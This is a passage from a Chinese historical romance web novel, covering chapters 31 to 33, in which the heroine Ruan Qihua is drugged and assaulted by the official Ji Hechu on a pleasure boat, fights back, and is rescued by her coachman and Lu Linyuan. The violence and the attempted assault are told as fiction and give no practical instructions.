多年积累的医者经验,在她眼前沉默地昭告眼前人的死亡。
不会的,不会的。
她从未想过自己会如此胆怯。掩耳盗铃般,她将手快速缩回,五指不由自主地相互摩擦,仿佛这样就能擦掉方才的触觉递给她的讯息。
是她学艺不精,怎么会连活人都分辨不出的。
是她解药没有配好,她要带着陆大人去找师傅,去找王永安,去江南,一定会有办法的。
阮绮华吊着一口气,眼神开始难以聚焦。
那人背对着她,一动不动,身上是再熟悉不过的一片衣料。那样高大的人,怎么会缩成这小小一团呢?
她不信,不能这样。
她挣扎着跌在地上,分明是没有血迹、没有挣扎,也没有任何痛楚和尖叫的画面,阮绮华却觉得这比从车轮下生生将哑女的腿拔出,要更加恐怖百倍千倍。
身后的男人自始至终未发一言,但不用反头她也知道,对方此刻的神情。
薄薄的木板背后是另一个世界。
“少喝点啊兄弟,你家主子不管你吗?”
“啧,一看你就是第一次来吧?这青雀舫一旦离岸,起码要到亥时才能返回呢。足够我们做下人的吃饱喝足再睡上一觉的。”不知想到何处,已经喝到面色赤红,一身酒气的干瘦男子脸上浮现一些隐秘的猥琐来。
一手拿着海碗,一手搭上李泉的肩,一副哥俩好的模样,凹陷的眼窝里闪烁着精光,他压低了声音:“我方才可是看着我家大人领着一个肤白貌美的娇小女子到船尾去了呢。那女子的身段,嚯,简直是……”
他放下海碗,用手比划出一个难以言喻的夸张身材来。
比完了,还不忘挤眉弄眼地冲李泉揶揄,“咱这一辈子若是能睡上这么一个漂亮姑娘,那真是够本喽。不过,我看着那女子气度不凡,走路的时候头都是昂着的,还真像画本里的小凤凰。我家大人今日怕是有得调教。”
一阵猥琐的嘿嘿声从干瘦男子的黄牙中发出,李泉不愿听这样的污言秽语,他婉拒了干瘦男子递过来的酒。只举起茶杯意思一下。
这次游船的机会是他家小姐冒着险上山赢回来的,他有幸被带上船赏景已经是感恩戴德,他如今只想安安稳稳地将他家小姐带回去,可得瞪大眼睛,不能在他身上出岔子。
见他无趣,那干瘦男子撇撇嘴,自顾自又端着碗去找其他人拼酒了。
没有人在意李泉这样硬守清高的傻小子,吆五喝六的划拳声、劝酒声和猥琐的笑声交织起来,三舱的船工、侍从早就喝作了一团。
阮绮华听得见那头的喧闹,又好像没有听到。
这方小小的空间,是三舱后方、整艘船尾部的废弃角落。
周围的黑暗好似要将人吞噬,她终于一步步瘫软下去。一寸千金的织锦被粗糙的地面摩擦。精致美丽的大小姐却丝毫未发觉。
她努力撑坐起些许,她不能让大人在这样的阴冷的地方沉眠。
他那样好的人,应当去到阳光晒得到的地方去。
一步,再一步。往前的每一步都是记忆画面的闪回。
手颤抖握上僵硬肩背的一瞬间,有什么温热的东西从她眼中溢满了坠落下来。
她张着嘴,想叫陆临渊的名字,却说不出话。
那人好瘦,好轻。
她的手已经没有力气,几乎是用一触到那人,他便倒了下来。
青白的面容就这样暴露在了她面前。
血液在一瞬间凝结住。凤眼不可置信地瞪大。
这,这人!
不是,他不是陆临渊。
布满疤痕,血色爬满了整个五官。
阮绮华几乎弹跳起来,由半倚在地上,变成半跪。
不是,她再次确认。
纵横交错的伤疤挡不住这人五官的起伏。陆大人的鼻梁更高挺些,唇角的弧度更要温和些。
季赫楚终于出了声,阴恻恻的笑声带着薄凉的嘲讽。“好一片真心啊。阮妹妹,一面勾引着陛下,一面对陆大人念念不忘。真是好手段。”
她惊恐地回过头去,季赫楚的身子已经完全挡住了门口的光线。
脑中的弦一刹那绷紧。她本能地起身往门口的方向要跑。
要跑,不能留在这个狭小空间。
男人的体型完全笼罩住她。
蜘蛛的网已经结成,猎物即将被绞杀。
“你想去哪里呢?阮妹妹。”
季赫楚只用一只手便钳住了她的肩膀,无论她再如何挣扎,也再无法前进一步。
逃出去的舱门就在眼前,她却动弹不得。
只能眼睁睁看着男人噙着笑,慢条斯理地将舱门合上。落下门栓。
“呀,不小心关上门了。”季赫楚偏头看过来,嘴角是轻描淡写的嘲讽,“妹妹,不会在意吧?”
“不过,不妨事的,刚好就我二人,马上便可热起来。”
黑暗吞噬了周遭的一切,感官被无限地放大。阮绮华能感到对方散发的温热在缓慢靠近。
没关系的。没关系的。
陆临渊没出事,她便可无所畏惧。
红唇抿起,凤眼中是一片冷静,她开始分析场中的情况。体型和绝对力量的差距太大,硬来肯定是不行的。视线受阻,怀里的弓箭与手中的袖箭都难以瞄准。黑暗的环境中,用药粉是最好的选择。
她默默从锦囊中拿出一包粉末攥在手心。
药粉有个弊端,剂量小了起不到该有的作用,剂量太大,又会造成死亡。成年男子需要的剂量,大概是她准备的一半。
她非常清楚自己的定位,若是不小心将季赫楚弄死,景仁帝痛失心爱的大臣,她恐怕落不了好。
所以还不到时候,她需要精准地拿捏剂量,一招制敌,至少也要让对方短暂地失去些行动能力。
要等待对方再靠近些。
一寸、两寸。她要感觉到对方喷洒的呼吸了。身体绷成一张弓,手中的药粉蓄势待发。
无声的对峙中,两人的呼吸已经交织在一起。
快了。
她眼中迸发锐利的眸光,身体不退反进。对方的脸已经完全在她的眼前。距离她不过几张纸的距离。
右手被扣住不影响她左手的动作。
就是现在!
危险的一瞬间,男人却轻轻松开了她的手腕,身体微微向后仰,轻笑一声,宛如最为温雅的君子,动作轻柔而优雅。
男人的呼吸黏稠而绵长,又主动撤开一步。
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>是,他并不着急将猎物拆吃入腹,反而抱臂站立,在黑暗中直勾勾看着她迅速后退的步子。半晌,才饶有兴味地跟随阮绮华的脚步移动。
不能再退了。
阮绮华得了自由,本能地要远离些危险的源头。她退至墙边,包着药粉的纸包被再次捏紧。
他看到了她手上的动作吗?
她的背部已经贴在了木板上。脚边就是那具男尸。冰冷的触感隔着衣物,依旧让人毛骨悚然。
机会只有一次。
阮绮华逼迫自己将呼吸再放轻些,看不见,那么就用听的。隔着一面薄薄的木板,她完全能听到旁边喧闹的声音。
方才“嗒”的一声响,应当是意味着酉时到来,晚膳开始。若她没记错,隔壁三舱中,自己的马夫李泉此刻就应当在其中用餐。
她开始迅速思考,是该大声呼喊,让隔壁的李泉或者其余人发现异样,还是在这逼仄的环境下,搏个机会。
男人还在慢悠悠地靠近,腰间的玉佩晃动,模模糊糊地看不清模样。
不能再等了。方才季赫楚没有设防,若是他真看到了她手上的动作,那么他必定不会再给她那样的机会。
在瞬息万变的战场,任何一个细节的犹豫和晃神都会让自己被对方吃掉。
说时迟那时快,她主动往前迎了上去,踏出一步的距离刚好与季赫楚贴面相对。
“啊!!!”
部分药粉精准地洒在了男人的眼睛上,剧痛从眼眶四散开来,男人发出扭曲的惨叫。“贱人!我要杀了你!!”
暴怒的男人激动地捂住自己的眼睛,抬脚便朝她踹过来。
一脚正中她的膝弯,这一脚,男人几乎用了十成十的力,阮绮华整个人向后倒下,背部撞到木板上发出一声巨响,张口想说话,却吐出一口血来。
方才扔出去的药粉,有大半洒在了空中,本就是减下来的剂量,到季赫楚身上也肯定拖不了多久。
她努力撑起身体,想站起来。
手在身侧,却不听使唤般使不上劲。
糟了,她的身体开始发软,奇怪的灼热感弥漫上来。
阮绮华心中暗骂,什么下三滥的俗套把戏。
那杯酒中果然是这种腌臜玩意,若是平时也便罢了,她的体质,不会像话本中的女子一样不受控制做出什么来,扛一阵也便过去了。
可眼下,正是要紧的时刻啊!
她咬牙看着向她伸手过来的季赫楚,身体使不上劲,那她便喊救命!
阮绮华张嘴便要大喊。方才的撞击想必已经引起了隔壁的注意,她再大声些,趁热打铁,她相信会有人来救她的!
她想喊救命,想喊李泉的名字,无论是谁都好,只要能来救她就好。
可喉咙好似被打湿的棉花堵住,她用全身的力气想要呐喊,却发现自己只能发出细微的气声。
怎,怎么会?
季赫楚显然已经缓过来了几分,听到阮绮华的细小动静,冷哼一声,哪能不知,对方的药效已经开始发作。
“什么声音?”
李泉敏锐地感知到那边的木墙有异常的震动。他看向唯一聊得上话的瘦子马夫,可对方已经两眼昏花,人已经瘫软挂在了长凳上。听到李泉发文,这瘦子凹陷的眼中又是一阵猥琐的光,嘴里念念有词地说些污言秽语,“傻小子,哈哈哈哈哈。能有什么不对劲,无非是。”
“哈!”他想看着李泉说话,可是醉得太过,两眼中只能倒映出明晃晃的烛火。“不过是那档子事激烈了些罢了。哈哈哈!”
是吗?李泉握拳站起了身,不对劲,这动静绝对不对劲,他果断伸手,一巴掌扇到这人脸上,“你可看清了?方才你家大人带着的是哪家的小姐?”
31. 归于徒劳
“轰隆——”
滚滚惊雷从天上碾过,有闪电照亮了这一方狭小的空间。
冷光从男人背后投入,脸上的狰狞如同地狱爬上来索命的恶鬼。阮绮华艰难地想爬起身,往角落再挪动些。
可季赫楚又如何会让她如愿,闪电将她腰间的锦囊暴露得一览无遗。
被激怒的凶徒踩着雷声上前,这里没有任何人能听见她的声音。
当狩猎的蜘蛛不再有耐心,那么猎物就只有一个命运——大手毫不留情地扯断了她腰间的锦囊,泄愤般朝角落大力扔出。
鼓囊的东西带着药粉一齐砸在木质船舱上,砸出沉闷的一声响。
阴冷的气息如跗骨之蛆般从她裸露的皮肤攀沿而上,被剥离了药粉的她好像砧板上待宰的赤裸羔羊。
男人完全撕掉了伪装,斜飞入鬓的长眉愤怒上挑,一手死死卡住阮绮华的脖颈。“还有什么手段吗?用啊!我让你用啊!”
药粉在男人的双眼灼烧,火烧的痛感伴随着怒火从天灵盖顶出,最后化作男人掌下大力的一掼——
砰——
巨大的力量压着阮绮华的头颅狠狠撞击到墙面。
濒临死亡的窒息感让她被迫高高仰起头,朱钗在木板上划出刺啦的声音。修长惨白的脖颈被大手按住,额间、下巴、脖颈被光影画出脆弱的剪影。
药效发作后的不适和窒息感让她整个人吊在半空中。
“咳咳、”狭长的凤眼眯成一条线,混乱的空白像走马灯一样在脑中盘旋。
看不清任何东西。
这种濒死的无力的感觉让她在被季赫楚丢在地上时依旧持续,眼前大片大片的黑。模糊的视线里,冰凉的手从她的衣服下摆探进。
那是如某种软体动物般黏腻的触碰。
季赫楚放大的赤红的双眼在她面前扭曲,灼热的气息烧在她的脸上。
不,不要!!!
她想尖叫,可喉咙中发不出一丝声音。
“什么皇帝的女人,还不是只能在我身下苟延残喘?”趴俯在上方的男人笑出来,狰狞的面容和笑声交织着。
那只手挑开了她的外袍。
可她的手却连抬起的力气也没有。
救救我,救救我。
“砰!”
用力的撞击声出现在前方。
并不清晰的视线里,门板被人敲得剧烈地振动。
“季大人,您在里面吗?”
只隔了一层门板,可那人的声音在阮绮华的耳中却好像隔着遥远的山河。
是她的幻觉吗?
男人的动作顿住一瞬。
他侧耳辨认了一下,然后轻蔑地冷哼一声。将手指微微屈起,从衣内缓慢抽出。
闪烁着精光的眼紧紧盯住阮绮华的脸。
“你以为,你会得救吗?”
男人勾起唇角,气氛缓和间,一股巨大的恐惧将阮绮华笼罩。
寒冷从她的四肢百骸中涌入,男人手上突然发力,将她的外袍一把扯下。
眼泪不可抑制地要涌出来。
“砰、砰砰!”
一声撞击后是紧接着的暴雨般的砸门声。那是莽撞的、无礼的,不知畏惧的□□相搏的撞击。
“季大人,季大人!”
声音好像从遥远的山林中顺着风奔了进来,奔进绝望的阮绮华的耳中。
门外的声音不停,是莽撞的大有要把破旧的木板撞烂的架势。
男人终于不耐烦地起了身,脚尖调转之前,他俯下身伸手狠狠捏住阮绮华的下巴,力道之大,像是要把人骨捏碎。
这是威胁与警告。
木门打开,是猩红的一双眼。
李泉只是个马夫,他没见过多少权贵。自小,他见得最多的便是烟柳巷尾醉醺醺摇晃着走出来的老爷。每当这个时候,他便会一溜烟跑上前去,弓起背,跪地趴伏在马车前,给老爷做个垫脚的凳。
运气好,老爷喝高兴了踩高兴了,便会从怀里袖子里漏出一点钱来。
他欢天喜地地接,但从不敢直视老爷的眼,哪怕是醉了的。
他是个胆小的人。
但今日他总觉得不对劲,也或者是因为他在酒气冲天的船舱里呆久了也染了些醉意。总之他撞开了声名赫赫的季大人的门,打断了他的好事。
对上季大人那双眼时,浑身的勇气像融化后的糖人,黏腻地往下淌。鼓胀不起来,贴着他的汗衫变成背后的汗。
“大,大人!我是阮家的下人,我家小姐不见了,可否让我看一眼里面的情况,小的好回府交差。”李泉从牙缝中咬着一股劲来,压着自己问出了声。
他不能让小姐出事。
想到这,他看过去的目光又坚定起来。
“哦?是谁告诉你,阮姑娘不见了的。”季赫楚面色丝毫不改,甚至眼底一片坦荡。“不过无论如何,你找错人了。你也看到了,我眼有不适,独自在此休息,你当去别处找她。”
“是宋家小姐!她,她说您与我家小姐一同出了舱门,再没回去过。”李泉想到方才宋臻同他说话时的神色,心又揪了起来。
宋家小姐是好人,那日他亲眼见到她送了自家小姐防身弓箭,她是保护自家小姐的,他信。
“呵,一同出来是没错,但我有不适,甲板太大,我们走散了。”季赫楚漫不经心地掀了掀嘴角,有遗憾的神情在他脸上。
“是吗……”李泉的声音弱了下去。
“好了,本官需要休息。”季赫楚的语气不容置喙。
久居上位的威压释放出来,悄无声息又重若千斤地压在李泉身上。
他只是一个一腔孤勇的、不值一提的低贱的下人,能同景仁帝面前的红人对峙那样久,无非是为了自家小姐的安危苦苦坚持。
只要季赫楚想,冰冷的湖底会变成他的归宿。
季赫楚退后一步,右手已经扶上了木门。
疏离的神情缓慢地、重新隐匿到暗处。
“等等!”一只手猛地撑住了即将关上的门,那种不管不顾、愣头青般的莽撞又从这个低贱的下人身上迸发了出来。顾不得季赫楚突变的神情,他用常年做苦力活的手死死顶住木门。
“小姐、小姐!!小姐你在屋内吗?我是李泉,我是来接你回家的马夫李泉!您回答我呀!”
季赫楚从没见过这样胆大到敢堂而皇之忤逆他的下人,他眼中的怒火恨不得将这不知死活的东西生吞活剥。
“小姐,求您回答我,如果您听得到,我是李泉,小姐!”
有门上的刺深深扎入了他的掌心,可他恍若不觉。他只管大喊着,他是粗人,是老爷的人凳,他不懂规矩。可是他是小姐的马夫,阮家有他的身契,他身
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上涂着小姐给的药。就算今日过后他将长眠于雁栖湖湖底,他李泉也绝不愿放过一丝一毫找寻小姐的机会。
可是他什么也没有听见。
这个狭小到容纳不了多一个人的地方,听不见他家小姐的声音。
“够了!你这该死的车夫,无礼的低贱的人,你满意了吗?”季赫楚心中的火蹿到了顶峰。他分出身来,将李泉一脚踹翻在地。
“本官早就说过,你家小姐不在此处,你如今喊也喊够了闹也闹够了,可以去给你的主子交差了吗?!”
男人居高临下的俯视地面上的李泉。
卑贱的马夫流下泪来。小姐不在里面,那小姐会在哪里呢?
湖水那样冷,他宁愿自己被人沉到湖底,也不愿自家小姐有一丝一毫的可能跌落进湖水。
他命贱,可小姐是那样金枝玉贵的人,她是连自己衣角破了都能注意到然后给他订新衣的人。
小姐会冷的。
季赫楚嫌恶地瞥了眼地上死狗般的下人,然后冷漠地关上了门。
阮绮华的嘴仍旧大张着,是李泉!李泉来救她了!李泉我在!她在啊……
她的双手仍然保持着方才的动作,火红的丹蔻无力地抠入地面木板的缝隙中,趴伏着狰狞着面容,榨干自己骨缝中的力气,将身体向希望的方向挪动。
可一只脚毫不留情地踩上了她的手。她眼中的光随着门栓落下骤然熄灭。
门外有渐行渐远的脚步声,阮绮华脸上因为激动而涨红的血色,霎时变得惨白。
季赫楚缓慢地俯下身来,半蹲着,贴在她的耳边说道:“真可惜呀,你说不了话。阮府的下人倒是衷心的,只不过,徒劳罢了。”
他的手又一次伸了过来。
然而一支金簪冲着他的面门直刺而来,很缓慢的动作,与其说是刺,不如说是直直地从头上坠下来,只因它的主人手上已经再无半分力气。
尖端在暗色下闪出了利刃出鞘的锋芒,破开血肉的声音是一种微妙的异动。
一面倒的局势变得吊诡。
“嘶!”季赫楚本能地向后闪避,堪堪避开那器物,脸颊被留下一道血色。想大骂些什么,却被阮绮华手背泂泂流出的血镇住。
对面的女子很狼狈,但眼中确是兴奋的光。
她说不出话来,嘴型却无声地向季赫楚宣告着什么。
什么?
女子的手上,血线蜿蜒着淌下来,在地上汇成一滩小洼。
但这样软弱无力的东西仍然抬了起来,坚定地对着他的面容。
怔愣的瞬间,什么东西直奔他面中而来。
噗呲——
“啊!!!!!!”
袖箭扎破眼球的声音,先是像铜镜摔碎一样的清脆,然后是绵软。箭矢的尖端从眼角冒出尖来。整个面上爆开血色。
就是现在!
阮绮华没有时间去惋惜这支箭没有射穿他的头颅,她只咬着牙,终于——
门栓被她用袖箭顶开。
夜间的风吻上她的面颊,而她终于,见得月光。
然而一只冰冷黏腻的手抓住了她的脚腕,不可抗的巨力拉扯着,企图再次拉她进入深渊。
视线逐渐模糊,这次,她不再有办法了。
真是……
失去意识的最后一秒,有人冲了过来。
32. 你该死! “你找死!”
雨水伴着雷声,如银针从夜幕中坠落。
先是几滴,然后是狂风裹挟着骤雨,铺面而来的潮湿气息席卷了整个青雀舫。
脚踝被拉扯住的瞬间,黏腻伴随寒冷一齐顺着她的每一寸肌肤向上攀。
眼前的光亮被缓缓吞噬。
分不清是外头的光亮照不进她眼中,还是光由内而外地熄灭。
要……没办法了吗?
千钧一发的时刻,有人披着一身的寒气向她冲过来,脚踝处被拉扯的感觉转瞬消逝,手骨被踩断的喀嚓声与男人痛苦的惨叫声在耳边尖锐地响起,在雨滴扎到她身上之前,宽厚的炽热的胸膛先遮挡住了她。
最后一丝光亮被吞没。
“阮,阮阮……”你别吓我。
陆大人这人似乎注定活得单薄。双亲走得早,他顶着贵胄的名头,却无良师庇护,群狼环伺,他咬着一口狠劲与各家缠斗,被迫成长。
十六那年,他一人执剑,坐上了摄政王的位子,从此他瘦削的脊背便一直站在了年幼的景仁帝身前,替他清君侧、守江山,斩杀贪官污吏无数。
有人视他若厉鬼,恨不得对他啖肉饮血。
他不在乎,入仕前夜,他跪在父母的灵位前诵读祖训时便下定了决心,此生甘愿为了大雍付出所有。
所以当看到孩童在洪水中挣扎时,他几乎是毫不犹豫地便下去做了对方的踏脚石,然后站在他肩上的幼童被赶来的妇人抱走。
妇人抱着孩童迅速撤离越涨越高的水位,不曾回头看快被河水淹没的他。死亡来临前的瞬间,他的心中满是平静。
但怀里这个再娇弱不过的女子救了他。分明是那样寒冷的江水,那样猛烈的骤雨,她的朱钗被得凌乱,她的手却那样温暖。
可是如今,金钗在她的手背留下深深的血洞。他只能小心翼翼地将这双手捧在手心,雨水冲刷不尽流出的血,他也捂不热这双手。
怎么会,怎么会有这样多的伤。
男人跪在地上,背脊弯成一张弓,弓弦在看到阮绮华大大小小的伤口时一寸又一寸拉紧,分寸和自持尽数破碎,目眦欲裂。
暴雨冲刷着甲板上的血迹,浑浊的血水顺着木板的纹路流向他的腿侧。
在衣物上晕出血色花朵。
“看到陆大人,咳咳,本官真是,哈哈哈哈哈哈。”痛意被畅快掩盖,诡异的笑声在木门后方响起。
“阮姑娘不愧是被陆大人你,还有陛下同时看上的人,肤如凝脂,果真是有一番风味的。”怪笑着的猥琐的声音从后方传来。
高大的男人一动不动,只将苍白的女子环在中间,他对周遭的声音恍若未闻,只知道颤抖着手去探时,怀中的人只有轻微的呼吸。
不行,太冷了,她会冻坏的。雨水被陆临渊尽数挡住,他的发丝往下滴水,但他仿佛意识不到。
解下自己狐裘的手几次稳不住。好不容易将人稳稳包裹住,余光突然看见有什么东西冲他飞刺过来。
“大人小心!”
匆匆赶来的李泉急呼出声。但来不及了,那个方位,陆临渊若是闪避,势必要将怀中的阮绮华放开。
毫不犹豫地,他侧身抬起手臂,将阮绮华护得严实。
单薄的衣物怎可抵挡得住铁质的箭矢,几乎是一瞬即破,噗嗤一声扎入皮肉。唯恐偏差一寸误伤怀中女子,陆临渊抬起的手臂竟是纹丝不动。
扎入血肉的痛意被无声息地掩盖,直到确认双臂环着的女子面容依旧安宁之后,急促跳动的心才悄然放下。季赫楚不知何时扶着墙站了起来,被踩折的右手烂泥一般耷拉着,面上是显而易见的挑衅。
“李泉,去三舱命人传我的指令,让船调头回岸,同时找人告诉冯保,让他传太医。若有人阻拦,让他来找我亲自确认。做完这些,回来看好你家小姐。在我出来之前,不得让任何人靠近这里。”他得先把潜在的危险解决。
几乎是跌跌撞撞爬过来,李泉的心神已经在看到阮绮华的一瞬间散开,那个满身血迹、一动不动的,是他的小姐吗?
巨大的冲击让他只能愣在原地,看着陆大人小心翼翼地将小姐包裹,然后随手拔掉小臂上的箭矢,仿佛不知疼痛般任由血液滴落,只轻柔地将人抱起,然后放置在檐下。
雷声轰鸣。
瘦削的年轻权贵朝雨幕迈出一步,坚定站在他跟小姐的身前,肃杀的气氛里,穿过雨幕的语气堪称轻缓,却仿佛带有万钧之力,凿在李泉心上,让他不由自主地跟着指令,将心神完全托付。
他不敢妄动,只寸步不离地守着阮绮华,直到确认自家小姐稳稳沉睡,才快速进入三舱找到掌舵船夫。
声势浩大的雨幕仿佛要将天地吞没,那道瘦长身影一步步朝更黑处踏出。
电光照亮了他锋利的侧脸,高挺的鼻梁与下颌的侧影连成一线,光影交错的瞬间,陆临渊直直与握拳爆冲过来的季赫楚对上。
“啊啊啊啊!!”怒吼伴随着痛呼,在雨中燃出无声的火焰。
“到底是,谁给你的胆子?”
满朝皆知的体弱臣子屈肘抬起,化拳为掌,一手接住爆裂的拳风,然后——季赫楚只觉一股大力袭来,伴随着怒吼,他唯一完好的左手被掌心包裹用力一扭,然后是迅疾利落的猛踹,巨大的不可抵抗的力量下,他整个人飞出去。砰地一声砸到舱室的木板上,撞击中,墙面挂着的渔具扑簌簌地往下坠到他身上。
爆裂的左眼再也无法睁开,右眼的视线中也只剩下血色。
季赫楚像破布袋子一般躺在地上,大口大口喘气。但陆临渊显然不想给他任何喘息的机会,灼热的怒火将他的眼瞳烧得明亮,刺伤,踢伤,还有什么?
又是一脚踢向季赫楚的腹部,剧痛让人被迫缩成一团,“啊啊啊啊啊啊啊!!!”
惨叫声与从喉咙中溢出来的嗬嗬声接连不断,下一瞬,他整个被陆临渊掐住脖子提起。
“你就是这样掐着她的脖子吗?”
“你怎么敢!”
五指化为坚硬的爪,季赫楚的脸上,血迹与涨红并存,因为身量的关系,他被迫踮脚仰头以其获取喘息的机会。生死游走的一刻,他的脸上突然浮现起怪异的笑来。唇角努力地勾起:
“咳,咳咳……陆大人,你不如看看你的心上人……咳咳,她。”
窒息的痛苦和浑身的疼痛在季赫楚的身上消失了一瞬,取而代之的是预感陆临渊骤然变化的脸而升起的满足。
“她如何?!说!”不出意外焦急的声线在季赫楚耳旁响起,他已经几乎失去了目视能
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力,但敏锐的听力让他没有错过对面人一分一毫的错乱的呼吸。
嗬、嗬嗬。
窒息带来的濒死感让季赫楚死死咬住牙齿,嘴角溢出血来,那张在人前温和的面容此刻扭曲变形。
门外传来了李泉慌乱的声音——“大人!陆大人!小姐发烫得厉害,小姐!”
不正常的高热?陆临渊手上一颤,脑中嗡得一声,不由自主地将人甩在地上,锐利的眸光化作刀刃刺向季赫楚的方向。
趴伏在地挣扎不起的男人透过眼前的血色,艰难地抬头勾起嘲讽的笑。“看来只能便宜陆大人了?”
“你找死!”
惨叫声与陆临渊暴怒的声音融成一体,三舱的酒鬼被恐怖的声音唤醒,声音中含有的怒火和痛楚穿透进每一个人的身体,让人竟被无形的力量震住,不由自主地畏惧和后退。
灰尘扬起,季赫楚彻底倒在肮脏的地面。
寒风刮过在场的所有人,但吹不动阮绮华身上的温度。
不再管地上半死不活的季赫楚,陆临渊果断转身,向外迈步时是压抑不住的慌乱。
张开的双臂再次环抱住地上的女子,男人胸腔振动,低沉的干涩的声音响起,这是对着后方慌得六神无主的李泉说的。“去唤宋姑娘。”
见对方腿软得半天愣神不动,他的声音急剧起来,“情况危急,快去唤人!”
“还有,莫要让人看见。”
视线对上的瞬间,李泉反应过来了陆大人未说的话。
他是粗人,见多了烟柳巷沉迷声色犬马的男男女女。但是他家小姐不行,对于一个未出阁的女子来说,名节的重要不言而喻。
不管是否认同外人的评判,但他深深地清楚,流言蜚语无形却能杀人。他不能让小姐受了这样多的苦还遭人污名。
思及此,李泉的步伐应声加快,他只恨自己长不出四条腿,快些、再快些。
潮湿冰冷的衣物挡不住温度攀升,怀中的身躯开始冒汗,异常的高热烫得人心惊。
“阮阮,再坚持一下,再坚持一下。”
这场如注的暴雨,似乎永不会停歇,它洗刷不掉伤害,只能混杂着泪水和汗水,带着苦涩的咸味,流过陆临渊的嘴角,滴落在阮绮华的身上。
女子精致的脸上,不正常的绯红已经替代了方才的惨白。可这样的变化让人更加担忧,陆临渊恨不得将季赫楚剥皮抽筋。
但他不能离开她,至少眼下不能。他将阮绮华的脸颊捏起,让她不至于咬伤她自己。往日精致骄傲的少女变得柔媚,鸦羽般的眼睫颤抖,明亮的眼睛睁开,眼底是一片难耐的欲色。
药物让她从昏迷中苏醒,变成了面目全非的模样。
挣扎扭动的片刻,似乎是从最深的梦境中恢复了几分神志一般,她颤颤巍巍地抬起手,拉扯陆临渊的衣角。
干涩的嗓音仿佛是从喉咙中挤出来,“回,回屋里去。陆大人莫要淋雨。”
陆临渊的心中有一块塌陷,针扎似的细密的心疼遍布着最柔软的角落。对阮绮华的怜惜越甚,对季赫楚的恨意便越重,他恨不得将那畜生直接扔下湖底,但眼下他更担心阮绮华的状态,只能一边小心地安抚,一边在嘴中呢喃:
阮阮,你忍住,马上便不难受了。
33. 返程
周围的风景在快速倒退,李泉的脚步只想快一点,再快一点。
二舱门口,有个面白无须的小公公细着嗓子拦住了他。
“站住!你是哪家的下人,贵人的地方,你还想硬闯?”
他不认识这人,也不敢贸然说出去自家小姐的情况,但他嘴笨,支支吾吾也说不出个什么来,“我,我找宋家小姐。”“宋家小姐是你想见就能见的人物吗?快说!你到底是哪家的下人,在不说我喊侍卫了!”
“别别别。”可不能再耽误时间了,李泉的脑子急成一团,越是急越差点想不起陆大人的吩咐,只记得要找宋姑娘来,可二舱与三舱不同,不是什么阿猫阿狗都能进的。
眼看着有贵人朝这边张望,李泉怕有人认出他来,对他家小姐不利。只能以袖掩面,然后对着看门的小太监低低地求,“您行行好,真是有要紧事,烦请您通融通融。”
时间不等人,面前这条门不开,他家小姐的清誉就加大几分被污的风险。他咬着牙,低声地求。
“等等——”
眼见着门口的太监被他磨得心烦,这就要羽林卫来押住他,有一道声音从后方响起。
那人向旁边的同僚示意,然后几步跨出了门。
一双精致的绣花短靴停在李泉面前,然后不由分说地推着泄了气软了腿的他向一边走。
边走边不忘反头向太监递过去一个警告的眼神。
“可是找到你家小姐了?是受伤了吗?”弓得低低的肩膀被人拍了拍,李泉抬起头时,对上的是宋臻焦急的眼神,他话都说不利索了。
“是,是陆大人叫您过去。我家小姐她。”男儿有泪不轻弹,但李泉憋不住,他说不出来,脑海中只要一想起自家小姐无声息躺在地上的画面便要红了眼眶。
“好了,不必多说,我都明白。现在带我过去。”
简短有力的指令让李泉下意识地服从。
恍惚间李泉只觉得宋臻与陆大人莫名有些相像,她好像不用问任何多的问题,只要一个眼神,就能心领神会,莫名地就能让他这个慌了神的下人安定下来,照他说的做。
两人脚步匆匆,到达舱尾的时候,太医正在为阮绮华治疗,陆临渊寸步不离地守在旁边。看到宋臻过来,他才起身相迎。
都是聪明人,多余的不用解释。陆临渊开门见山:“受了伤,被下了脏药,不可解。太医给她喂了些药,让她昏睡,给她包扎。人多口杂,这边麻烦宋姑娘照顾,我先去前厅处理。”方才还活生生的人现在一动不动躺在地上,仍人摆布。宋臻看过去的视线一顿,嘴唇下意识紧抿。她没再多问是谁干的,只点点头,侧身让开道路,“这里有我。你放心。”
短暂的一个对视过后,陆临渊最后反头望一眼阮绮华,然后抬步朝前厅走去。
他不怀疑李泉的忠诚,船只到现在还没有掉头回岸,原因必定出现在了别的地方。步伐不经意加快几分,陆临渊的眼底出现暗色。
与此同时,宋臻第一时间去检查了阮绮华的情况。
凌乱的朱钗,脸上手上的尘土,被扯开的衣裳;擦伤、利器的扎伤,还有身上未褪去的高热。
轻轻伸出去的手不由自主地开始颤抖,她偏过头,眸色沉沉,双唇紧抿成一条线,脸上是肉眼可见的自责和懊悔。
她怎会,怎会如此迟钝。阮绮华当时显然是被胁迫,才硬说出违心的话,她当时为何没有再谨慎些,再信任阮绮华一些?明知道季赫楚是那般无耻之人,她为何不暗自跟在后面。
她真是,愚钝至极。
旁边有人在对她说些什么,大致是这些都是皮肉伤,好好养几日即可,让她莫要过于伤心。但她如何能信?好好的人就被从她面前带走,再见时已经伤成这副模样,阮绮华这样娇贵怕苦的贵女,怎能吃这般的苦。
等等,意识到了什么的宋臻猛地抬头,对旁边的太医施压,“今日之事,不论是谁问起来,你当知道怎么说。宋家和陆家不会放过任何一个乱说话的人。”
青雀舫上聚集着大雍最顶级的权贵,有资格上船的太医不仅要有精湛的医术,还得有脑袋别再腰上,嘴巴缝死的觉悟。
这次来的太医虽年轻,能来也是破格,但冯保准备的人怎会拎不清,当下便果断表了衷心:“宋姑娘放心,陆大人已经都安排好了。”
“只不过……”年轻太医有些为难地瞥向一旁的李泉,目光闪烁。
“无事,此处无外人,你尽管说。”宋臻的声线沉稳。
太医也不再扭捏,“方才情况紧急,但如今我已将阮姑娘的情况稳住,短时间内无大碍。但方才,下官不经意看到那小房间中似乎还躺着两位……”
两位?
宋臻的眉头皱起,虽她没有亲眼见到,但阮绮华身上的伤必是季赫楚那畜生所致,怎会还有一位?
太医点头不语,只是轻轻地递上方才包扎时从阮绮华身边拾取的小弓箭。“这是方才治伤时从阮姑娘身上掉落的,上面有宋家印记,您可看看是否用得上。”
她接过弓箭,疑惑起身,推开血迹斑斑的昏暗木门。
只见浑身是血、面目全非昏死过去的季赫楚旁边,还有一团仰躺的东西。她用脚尖踢开来,看到相似的身形和衣物,当即对季赫楚的计划心下了然。
宋臻略一沉吟,然后拿出弓箭来,对着季赫楚与那男尸各是一箭。
精致小箭的尾羽没入之时,宋臻转身,几步回到阮绮华身边,视线在年轻太医与愣住的马夫身上游移,淡淡的却充满威严的声音响起,“好了,我捉拿不力,不小心误伤了季大人。刺客已经跑得不知所踪,接下来我们该看看陆大人什么时候来了。”
——
